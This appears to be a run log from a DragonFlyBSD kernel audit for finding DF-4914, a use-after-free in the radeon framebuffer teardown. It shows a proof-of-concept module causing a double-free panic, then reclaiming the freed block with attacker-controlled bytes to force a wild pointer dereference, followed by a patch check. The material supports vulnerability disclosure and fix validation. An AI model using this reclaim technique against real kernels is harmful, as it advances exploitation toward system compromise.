โฌข DragonFlyBSD Kernel Audit
DF-4914 / run.log
โ† back to finding โ†“ download raw
===== DF-4914 baseline: stock /boot/kernel/radeon.ko (unfixed) =====

$ kldload drm && kldload radeon && kldload /root/rfb/rfbuaf.ko

  DF-4914 PoC loaded; sysctl hw.rfbuaf=1|2|3

--- stage 1: inject the exact failed-radeon_fbdev_init() state (radeon_fb.c:374-405) ---
$ sysctl hw.rfbuaf=1

  DF-4914: injected failed-init state (radeon_fb.c:374-405):
    rdev->mode_info.rfbdev = 0xfffff8011788c900 โ€” kfree()d block still recorded (dangling)

  (no crash; returns cleanly โ€” this is the state the driver carries after
   radeon_modeset_init() ignores the failed radeon_fbdev_init(),
   radeon_display.c:1640)

--- stage 2: production teardown on the dangling pointer ---
$ sysctl hw.rfbuaf=2

  DF-4914: injected failed-init state (radeon_fb.c:374-405):
    rdev->mode_info.rfbdev = 0xfffff8011788c900 โ€” kfree()d block still recorded (dangling)
  DF-4914: calling production radeon_fbdev_fini() (radeon_modeset_fini teardown) on the dangling pointer...
  panic: memory chunk 0xfffff8011788c900 is already free!
  cpuid = 5
  Trace beginning at frame 0xfffff801182e76b8
  chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
  chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
  _kfree() at _kfree+0x262 0xffffffff806580e2
  radeon_fbdev_fini() at radeon_fbdev_fini+0x78 0xffffffff831feae8     <-- radeon_fb.c:415
  sysctl_run() at sysctl_run+0x1c4 0xffffffff84bcb334
  sysctl_root.isra.5() at sysctl_root.isra.5+0x166 0xffffffff80683d06
  Debugger("panic")
  (full text: panic-stage2.txt)

--- stage 3: reclaim the freed block, then production teardown (fresh boot) ---
$ sysctl hw.rfbuaf=3

  DF-4914: injected failed-init state (radeon_fb.c:374-405):
    rdev->mode_info.rfbdev = 0xfffff801179c4440 โ€” kfree()d block still recorded (dangling)
  DF-4914: reclaim attempt: 0xfffff801179c4440 (dangling 0xfffff801179c4440, RECLAIMED)
  DF-4914: reclaimed block 0x41-filled (fb.obj[0]=0x4141414141414141); production fini -> radeonfb_destroy_pinned_object wild chase

  Fatal trap 9: general protection fault while in kernel mode
  cpuid = 3; lapic id = 3
  instruction pointer = 0x8:0xffffffff831fe27c
  ...
  current process = 1000
  Stopped at radeon_fbdev_destroy_pinned_object+0x1c: movl -0x2d0(%rdi),%eax
  (full text: panic-stage3.txt โ€” rdi is gem_to_radeon_bo(0x4141414141414141)
   i.e. the reclaimed block's fb.obj[0] field, fully attacker-controlled)

===== DF-4914 fixed-module check: /usr/src patched with fix.diff, radeon.ko rebuilt =====

$ cd /usr/src/sys/dev/drm/radeon && patch -N < /root/fix.diff && make -j6   # BUILD=0

$ kldload drm && kldload /usr/src/sys/dev/drm/radeon/radeon.ko   # FIXED-RADEON-LOADED
$ kldload /root/rfb/rfbuaf.ko && sysctl hw.rfbuaf=1              # runs, no crash

Note: stage 1 injects the post-failure state directly (radeon_fb.c:374-405),
so it is byte-identical whether the loaded radeon_fb.c is fixed or not โ€” the
fix removes the *creation* of the dangling pointer inside radeon_fbdev_init,
which cannot be driven live on the no-GPU guest (see VERDICT.md). Stages 2/3
were therefore not re-run against the fixed module; see VERDICT.md for the
fix-validation classification.